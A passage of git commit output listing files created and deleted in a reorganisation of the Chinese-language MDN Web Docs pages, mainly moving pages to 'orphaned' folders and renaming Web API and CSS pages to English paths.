files/zh-cn/orphaned/games/tools/engines_and_tools/index.html create mode 100644 files/zh-cn/orphaned/glossary_of_translation/index.html create mode 100644 files/zh-cn/orphaned/learn/how_to_contribute/index.html create mode 100644 files/zh-cn/orphaned/learn/html/forms/html5_updates/index.html create mode 100644 files/zh-cn/orphaned/learn/html/forms_and_buttons/index.html create mode 100644 files/zh-cn/orphaned/mdn/community/conversations/index.html create mode 100644 files/zh-cn/orphaned/mdn/community/doc_sprints/index.html create mode 100644 files/zh-cn/orphaned/mdn/community/index.html create mode 100644 files/zh-cn/orphaned/mdn/community/whats_happening/index.html create mode 100644 files/zh-cn/orphaned/mdn/community/working_in_community/index.html create mode 100644 files/zh-cn/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html create mode 100644 files/zh-cn/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html create mode 100644 files/zh-cn/orphaned/mdn/contribute/howto/do_a_technical_review/index.html create mode 100644 files/zh-cn/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html create mode 100644 files/zh-cn/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html create mode 100644 files/zh-cn/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html create mode 100644 files/zh-cn/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html create mode 100644 files/zh-cn/orphaned/mdn/editor/basics/index.html create mode 100644 files/zh-cn/orphaned/mdn/editor/basics/page_controls/index.html create mode 100644 files/zh-cn/orphaned/mdn/editor/basics/page_info/index.html create mode 100644 files/zh-cn/orphaned/mdn/editor/index.html create mode 100644 files/zh-cn/orphaned/mdn/editor/keyboard_shortcuts/index.html create mode 100644 files/zh-cn/orphaned/mdn/editor/source_mode/index.html create mode 100644 files/zh-cn/orphaned/mdn/structures/live_samples/simple_live_sample_demo/index.html create mode 100644 files/zh-cn/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html create mode 100644 files/zh-cn/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html create mode 100644 files/zh-cn/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html create mode 100644 files/zh-cn/orphaned/mozilla/mozilla_persona/index.html create mode 100644 files/zh-cn/orphaned/tools/add-ons/index.html create mode 100644 files/zh-cn/orphaned/web/api/analysernode/fft/index.html create mode 100644 files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html create mode 100644 files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html create mode 100644 files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html create mode 100644 files/zh-cn/orphaned/web/api/entity/index.html create mode 100644 files/zh-cn/orphaned/web/api/fetchobserver/index.html create mode 100644 files/zh-cn/orphaned/web/api/msselection/index.html create mode 100644 files/zh-cn/orphaned/web/api/namelist/index.html create mode 100644 "files/zh-cn/orphaned/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" create mode 100644 files/zh-cn/orphaned/web/api/notification/sound/index.html create mode 100644 files/zh-cn/orphaned/web/api/textrange/text/index.html create mode 100644 files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html create mode 100644 files/zh-cn/orphaned/web/api/window/getattention/index.html create mode 100644 "files/zh-cn/orphaned/web/guide/css/css\345\237\272\347\241\200/index.html" create mode 100644 files/zh-cn/orphaned/web/guide/html/html/index.html create mode 100644 files/zh-cn/orphaned/web/html/element/command/index.html create mode 100644 files/zh-cn/orphaned/web/html/element/element/index.html create mode 100644 files/zh-cn/orphaned/web/html/global_attributes/dropzone/index.html create mode 100644 "files/zh-cn/orphaned/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" create mode 100644 "files/zh-cn/orphaned/web/javascript/javascript(\350\265\267\346\255\245)/index.html" create mode 100644 files/zh-cn/orphaned/web/javascript/reference/global_objects/array/prototype/index.html create mode 100644 files/zh-cn/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html create mode 100644 files/zh-cn/orphaned/web/javascript/reference/global_objects/asynciterator/index.html create mode 100644 files/zh-cn/orphaned/web/localization/index.html create mode 100644 files/zh-cn/orphaned/web/security/information_security_basics/index.html create mode 100644 files/zh-cn/orphaned/web/specification_list/index.html create mode 100644 files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html delete mode 100644 files/zh-cn/python/index.html delete mode 100644 files/zh-cn/quirks_mode_and_standards_mode/index.html delete mode 100644 files/zh-cn/server-sent_events/eventsource/close/index.html delete mode 100644 files/zh-cn/server-sent_events/eventsource/eventsource/index.html delete mode 100644 files/zh-cn/server-sent_events/eventsource/index.html delete mode 100644 files/zh-cn/server-sent_events/eventsource/onerror/index.html delete mode 100644 files/zh-cn/server-sent_events/eventsource/onopen/index.html delete mode 100644 files/zh-cn/server-sent_events/index.html delete mode 100644 files/zh-cn/server-sent_events/using_server-sent_events/index.html delete mode 100644 files/zh-cn/site_compatibility_for_firefox_19/index.html delete mode 100644 files/zh-cn/site_compatibility_for_firefox_21/index.html delete mode 100644 files/zh-cn/site_compatibility_for_firefox_23/index.html delete mode 100644 files/zh-cn/site_compatibility_for_firefox_24/index.html delete mode 100644 files/zh-cn/specification_list/index.html create mode 100644 files/zh-cn/tools/3d_view/index.html delete mode 100644 files/zh-cn/tools/add-ons/index.html create mode 100644 files/zh-cn/tools/deprecated_tools/index.html delete mode 100644 files/zh-cn/tools/page_inspector/3d_view/index.html create mode 100644 files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html delete mode 100644 files/zh-cn/tools/page_inspector/how_to/view_fonts/index.html delete mode 100644 files/zh-cn/tools/profiler/index.html create mode 100644 files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html delete mode 100644 files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide_clone/index.html create mode 100644 files/zh-cn/tools/responsive_design_mode/index.html delete mode 100644 files/zh-cn/tools/responsive_design_view/index.html create mode 100644 files/zh-cn/tools/storage_inspector/index.html create mode 100644 files/zh-cn/tools/tips/index.html delete mode 100644 files/zh-cn/tools/using_the_source_editor/index.html create mode 100644 files/zh-cn/tools/web_audio_editor/index.html delete mode 100644 "files/zh-cn/tools/web\351\237\263\351\242\221\347\274\226\350\276\221\345\231\250/index.html" delete mode 100644 "files/zh-cn/tools/\344\270\215\346\216\250\350\215\220\347\232\204\345\267\245\345\205\267/index.html" delete mode 100644 "files/zh-cn/tools/\345\255\230\345\202\250\346\237\245\347\234\213\345\231\250/index.html" delete mode 100644 "files/zh-cn/tools/\345\260\217\346\212\200\345\267\247/index.html" delete mode 100644 files/zh-cn/understanding_underlines/index.html delete mode 100644 files/zh-cn/updating_extensions_for_firefox_3/index.html delete mode 100644 files/zh-cn/using_xpath/index.html create mode 100644 files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html delete mode 100644 files/zh-cn/web/accessibility/aria/aria_techniques/using_the_button_role/index.html delete mode 100644 "files/zh-cn/web/accessibility/aria/aria_techniques/\344\275\277\347\224\250aria-hidden\345\261\236\346\200\247/index.html" create mode 100644 files/zh-cn/web/accessibility/aria/roles/button_role/index.html delete mode 100644 files/zh-cn/web/accessibility/web_development/index.html create mode 100644 files/zh-cn/web/api/abortcontroller/abort/index.html create mode 100644 files/zh-cn/web/api/abortcontroller/abortcontroller/index.html create mode 100644 files/zh-cn/web/api/abortcontroller/index.html create mode 100644 files/zh-cn/web/api/ambient_light_events/index.html create mode 100644 files/zh-cn/web/api/ambientlightsensor/illuminance/index.html delete mode 100644 files/zh-cn/web/api/ambientlightsensor/reading/index.html delete mode 100644 files/zh-cn/web/api/analysernode/fft/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createanalyser/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createbuffer/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createbuffersource/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createchannelmerger/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createconvolver/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createdelay/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createwaveshaper/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/currenttime/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/destination/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/listener/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/onstatechange/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/samplerate/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/state/index.html delete mode 100644 files/zh-cn/web/api/audionode/connect(audioparam)/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createdelay/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/currenttime/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/destination/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/listener/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/samplerate/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/state/index.html create mode 100644 files/zh-cn/web/api/broadcastchannel/message_event/index.html delete mode 100644 files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html delete mode 100644 files/zh-cn/web/api/canvascapturemediastream/index.html create mode 100644 files/zh-cn/web/api/canvascapturemediastreamtrack/index.html create mode 100644 files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html delete mode 100644 "files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" create mode 100644 files/zh-cn/web/api/crypto/getrandomvalues/index.html delete mode 100644 files/zh-cn/web/api/cssmatrix/index.html create mode 100644 files/zh-cn/web/api/csspagerule/index.html delete mode 100644 "files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" delete mode 100644 files/zh-cn/web/api/deviceacceleration/index.html delete mode 100644 files/zh-cn/web/api/devicelightevent/using_light_events/index.html create mode 100644 files/zh-cn/web/api/devicemotioneventacceleration/index.html delete mode 100644 files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html delete mode 100644 files/zh-cn/web/api/document/elementfrompoint/index.html delete mode 100644 files/zh-cn/web/api/document/elementsfrompoint/index.html create mode 100644 files/zh-cn/web/api/document/fullscreen/index.html create mode 100644 files/zh-cn/web/api/document/fullscreenenabled/index.html delete mode 100644 files/zh-cn/web/api/document/getselection/index.html delete mode 100644 files/zh-cn/web/api/document/inputencoding/index.html delete mode 100644 files/zh-cn/web/api/document/mozfullscreen/index.html delete mode 100644 files/zh-cn/web/api/document/mozfullscreenelement/index.html delete mode 100644 files/zh-cn/web/api/document/mozfullscreenenabled/index.html create mode 100644 files/zh-cn/web/api/document/onafterscriptexecute/index.html delete mode 100644 files/zh-cn/web/api/document/pointerlockelement/index.html create mode 100644 files/zh-cn/web/api/document/readystatechange_event/index.html delete mode 100644 files/zh-cn/web/api/document/rouchmove_event/index.html delete mode 100644 files/zh-cn/web/api/document/stylesheets/index.html create mode 100644 files/zh-cn/web/api/document/touchmove_event/index.html delete mode 100644 files/zh-cn/web/api/document_object_model/preface/index.html create mode 100644 files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html delete mode 100644 files/zh-cn/web/api/element/accesskey/index.html delete mode 100644 files/zh-cn/web/api/element/activate_event/index.html create mode 100644 files/zh-cn/web/api/element/afterscriptexecute_event/index.html create mode 100644 files/zh-cn/web/api/element/beforescriptexecute_event/index.html create mode 100644 files/zh-cn/web/api/element/blur_event/index.html create mode 100644 files/zh-cn/web/api/element/compositionend_event/index.html create mode 100644 files/zh-cn/web/api/element/compositionstart_event/index.html create mode 100644 files/zh-cn/web/api/element/compositionupdate_event/index.html create mode 100644 files/zh-cn/web/api/element/copy_event/index.html create mode 100644 files/zh-cn/web/api/element/cut_event/index.html create mode 100644 files/zh-cn/web/api/element/domactivate_event/index.html create mode 100644 files/zh-cn/web/api/element/error_event/index.html create mode 100644 files/zh-cn/web/api/element/focus_event/index.html create mode 100644 files/zh-cn/web/api/element/focusout_event/index.html create mode 100644 files/zh-cn/web/api/element/mousewheel_event/index.html delete mode 100644 files/zh-cn/web/api/element/name/index.html delete mode 100644 files/zh-cn/web/api/element/onafterscriptexecute/index.html delete mode 100644 files/zh-cn/web/api/element/ongotpointercapture/index.html create mode 100644 files/zh-cn/web/api/element/paste_event/index.html create mode 100644 files/zh-cn/web/api/elementcssinlinestyle/style/index.html delete mode 100644 files/zh-cn/web/api/entity/index.html delete mode 100644 files/zh-cn/web/api/event.altkey/index.html delete mode 100644 files/zh-cn/web/api/event.button/index.html delete mode 100644 files/zh-cn/web/api/event.relatedtarget/index.html delete mode 100644 files/zh-cn/web/api/event.shiftkey/index.html create mode 100644 files/zh-cn/web/api/event/cancelbubble/index.html delete mode 100644 files/zh-cn/web/api/event/createevent/index.html delete mode 100644 files/zh-cn/web/api/event/deeppath/index.html delete mode 100644 "files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" create mode 100644 files/zh-cn/web/api/eventsource/close/index.html create mode 100644 files/zh-cn/web/api/eventsource/eventsource/index.html create mode 100644 files/zh-cn/web/api/eventsource/index.html create mode 100644 files/zh-cn/web/api/eventsource/onerror/index.html create mode 100644 files/zh-cn/web/api/eventsource/onopen/index.html delete mode 100644 files/zh-cn/web/api/eventtarget/attachevent/index.html delete mode 100644 files/zh-cn/web/api/eventtarget/detachevent/index.html delete mode 100644 files/zh-cn/web/api/eventtarget/fireevent/index.html delete mode 100644 files/zh-cn/web/api/fetchcontroller/abort/index.html delete mode 100644 files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html delete mode 100644 files/zh-cn/web/api/fetchcontroller/index.html delete mode 100644 files/zh-cn/web/api/fetchobserver/index.html create mode 100644 files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html create mode 100644 files/zh-cn/web/api/filereader/abort_event/index.html delete mode 100644 "files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" create mode 100644 files/zh-cn/web/api/formdata/delete/index.html delete mode 100644 "files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" create mode 100644 files/zh-cn/web/api/fullscreen_api/guide/index.html delete mode 100644 "files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" delete mode 100644 files/zh-cn/web/api/geolocation/using_geolocation/index.html create mode 100644 files/zh-cn/web/api/geolocation_api/index.html create mode 100644 files/zh-cn/web/api/geolocationposition/timestamp/index.html delete mode 100644 "files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" delete mode 100644 files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html delete mode 100644 "files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" delete mode 100644 files/zh-cn/web/api/htmlanchorelement/referrer/index.html create mode 100644 files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html delete mode 100644 "files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" create mode 100644 files/zh-cn/web/api/htmlelement/accesskey/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationend_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationstart_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/blur/index.html create mode 100644 files/zh-cn/web/api/htmlelement/change_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/dataset/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/focus/index.html create mode 100644 files/zh-cn/web/api/htmlelement/innertext/index.html create mode 100644 files/zh-cn/web/api/htmlelement/input_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/nonce/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/style/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/tabindex/index.html create mode 100644 files/zh-cn/web/api/htmlelement/transitionend_event/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html delete mode 100644 files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/blur/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/dataset/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/focus/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/nonce/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html create mode 100644 files/zh-cn/web/api/index/index.html create mode 100644 files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html delete mode 100644 "files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" delete mode 100644 files/zh-cn/web/api/mediastream.addtrack/index.html create mode 100644 files/zh-cn/web/api/mediastream/addtrack/index.html delete mode 100644 files/zh-cn/web/api/msselection/index.html delete mode 100644 files/zh-cn/web/api/namelist/index.html delete mode 100644 files/zh-cn/web/api/navigatorgeolocation/index.html delete mode 100644 "files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" delete mode 100644 files/zh-cn/web/api/node/baseuriobject/index.html delete mode 100644 files/zh-cn/web/api/node/innertext/index.html delete mode 100644 files/zh-cn/web/api/node/nodeprincipal/index.html delete mode 100644 files/zh-cn/web/api/node/outertext/index.html delete mode 100644 files/zh-cn/web/api/node/rootnode/index.html delete mode 100644 files/zh-cn/web/api/notification/sound/index.html delete mode 100644 files/zh-cn/web/api/notification/using_web_notifications/index.html create mode 100644 files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html delete mode 100644 files/zh-cn/web/api/offlineaudiocontext/complete/index.html create mode 100644 files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html create mode 100644 files/zh-cn/web/api/payment_request_api/concepts/index.html create mode 100644 files/zh-cn/web/api/payment_request_api/index.html create mode 100644 files/zh-cn/web/api/performance/memory/index.html delete mode 100644 "files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" create mode 100644 files/zh-cn/web/api/pointer_lock_api/index.html delete mode 100644 files/zh-cn/web/api/push_api/using_the_push_api/index.html delete mode 100644 files/zh-cn/web/api/randomsource/getrandomvalues/index.html delete mode 100644 files/zh-cn/web/api/randomsource/index.html create mode 100644 files/zh-cn/web/api/response/clone/index.html delete mode 100644 "files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" create mode 100644 files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html create mode 100644 files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html delete mode 100644 "files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" create mode 100644 files/zh-cn/web/api/selection/deletefromdocument/index.html delete mode 100644 "files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" create mode 100644 files/zh-cn/web/api/server-sent_events/index.html create mode 100644 files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html delete mode 100644 files/zh-cn/web/api/slotable/index.html create mode 100644 files/zh-cn/web/api/speechrecognition/index.html create mode 100644 files/zh-cn/web/api/speechrecognition/result_event/index.html delete mode 100644 files/zh-cn/web/api/storage/localstorage/index.html create mode 100644 files/zh-cn/web/api/streams_api/concepts/index.html create mode 100644 files/zh-cn/web/api/streams_api/using_readable_streams/index.html delete mode 100644 "files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" delete mode 100644 "files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" delete mode 100644 files/zh-cn/web/api/textrange/text/index.html create mode 100644 files/zh-cn/web/api/uievent/view/index.html delete mode 100644 "files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" create mode 100644 files/zh-cn/web/api/url/password/index.html delete mode 100644 "files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" delete mode 100644 files/zh-cn/web/api/urlutils/hash/index.html delete mode 100644 files/zh-cn/web/api/urlutils/href/index.html delete mode 100644 files/zh-cn/web/api/urlutils/index.html delete mode 100644 files/zh-cn/web/api/urlutils/origin/index.html delete mode 100644 files/zh-cn/web/api/urlutils/password/index.html delete mode 100644 files/zh-cn/web/api/urlutils/pathname/index.html delete mode 100644 files/zh-cn/web/api/urlutils/search/index.html delete mode 100644 files/zh-cn/web/api/urlutils/tostring/index.html delete mode 100644 files/zh-cn/web/api/urlutils/username/index.html create mode 100644 files/zh-cn/web/api/web_audio_api/best_practices/index.html delete mode 100644 "files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" create mode 100644 files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html delete mode 100644 "files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" delete mode 100644 files/zh-cn/web/api/webrtc_api/architecture/index.html delete mode 100644 files/zh-cn/web/api/webrtc_api/overview/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/session_lifetime/index.html delete mode 100644 files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html create mode 100644 files/zh-cn/web/api/websocket/binarytype/index.html delete mode 100644 "files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" delete mode 100644 files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html create mode 100644 files/zh-cn/web/api/window/afterprint_event/index.html create mode 100644 files/zh-cn/web/api/window/beforeprint_event/index.html create mode 100644 files/zh-cn/web/api/window/beforeunload_event/index.html create mode 100644 files/zh-cn/web/api/window/blur/index.html delete mode 100644 files/zh-cn/web/api/window/clearinterval/index.html create mode 100644 files/zh-cn/web/api/window/domcontentloaded_event/index.html delete mode 100644 files/zh-cn/web/api/window/getattention/index.html create mode 100644 files/zh-cn/web/api/window/load_event/index.html delete mode 100644 files/zh-cn/web/api/window/onbeforeunload/index.html delete mode 100644 files/zh-cn/web/api/window/onhashchange/index.html delete mode 100644 files/zh-cn/web/api/window/onmouseup/index.html delete mode 100644 files/zh-cn/web/api/window/onpopstate/index.html delete mode 100644 files/zh-cn/web/api/window/onscroll/index.html delete mode 100644 files/zh-cn/web/api/window/onunload/index.html create mode 100644 files/zh-cn/web/api/window/pageshow_event/index.html delete mode 100644 files/zh-cn/web/api/window/restore/index.html delete mode 100644 files/zh-cn/web/api/window/setinterval/index.html delete mode 100644 files/zh-cn/web/api/window/settimeout/index.html create mode 100644 files/zh-cn/web/api/window/unhandledrejection_event/index.html create mode 100644 files/zh-cn/web/api/window/unload_event/index.html delete mode 100644 files/zh-cn/web/api/window/url/index.html delete mode 100644 files/zh-cn/web/api/window/window.blur()/index.html delete mode 100644 files/zh-cn/web/api/windowbase64/atob/index.html delete mode 100644 files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html delete mode 100644 files/zh-cn/web/api/windowbase64/btoa/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onunload/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html delete mode 100644 files/zh-cn/web/api/windowtimers/cleartimeout/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/progress_event/index.html create mode 100644 files/zh-cn/web/api/xmlserializer/index.html delete mode 100644 "files/zh-cn/web/api/\346\214\207\346\225\260/index.html" delete mode 100644 "files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" delete mode 100644 "files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" delete mode 100644 "files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" delete mode 100644 "files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" delete mode 100644 files/zh-cn/web/css/@viewport/height/index.html delete mode 100644 files/zh-cn/web/css/@viewport/orientation/index.html delete mode 100644 files/zh-cn/web/css/@viewport/viewport-fit/index.html delete mode 100644 files/zh-cn/web/css/@viewport/width/index.html delete mode 100644 files/zh-cn/web/css/@viewport/zoom/index.html delete mode 100644 files/zh-cn/web/css/_colon_-moz-placeholder/index.html delete mode 100644 files/zh-cn/web/css/_colon_any/index.html create mode 100644 files/zh-cn/web/css/_colon_blank/index.html delete mode 100644 "files/zh-cn/web/css/_colon_blank\347\251\272\347\231\275\344\274\252\347\261\273/index.html" delete mode 100644 files/zh-cn/web/css/_doublecolon_-moz-placeholder/index.html delete mode 100644 files/zh-cn/web/css/all_about_the_containing_block/index.html delete mode 100644 files/zh-cn/web/css/common_css_questions/index.html create mode 100644 files/zh-cn/web/css/containing_block/index.html create mode 100644 files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html create mode 100644 files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html delete mode 100644 files/zh-cn/web/css/css_background_and_borders/index.html delete mode 100644 files/zh-cn/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html delete mode 100644 "files/zh-cn/web/css/css_background_and_borders/\345\234\206\350\247\222\350\276\271\346\241\206\345\217\221\347\224\237\345\231\250/index.html" create mode 100644 files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html delete mode 100644 files/zh-cn/web/css/css_backgrounds_and_borders/scaling_background_images/index.html create mode 100644 files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html delete mode 100644 files/zh-cn/web/css/css_box_model/box-shadow_generator/index.html delete mode 100644 files/zh-cn/web/css/css_colors/index.html create mode 100644 files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html create mode 100644 files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html delete mode 100644 "files/zh-cn/web/css/css_flexible_box_layout/flexbox_\347\232\204_\345\220\221\344\270\213_\346\224\257\346\214\201/index.html" delete mode 100644 files/zh-cn/web/css/css_flexible_box_layout/mixins/index.html create mode 100644 files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html create mode 100644 files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html delete mode 100644 files/zh-cn/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html delete mode 100644 files/zh-cn/web/css/css_flexible_box_layout/using_flexbox_to_lay_out_web_applications/index.html delete mode 100644 "files/zh-cn/web/css/css_flexible_box_layout/\345\205\270\345\236\213_\347\224\250\344\276\213_\347\232\204_flexbox/index.html" delete mode 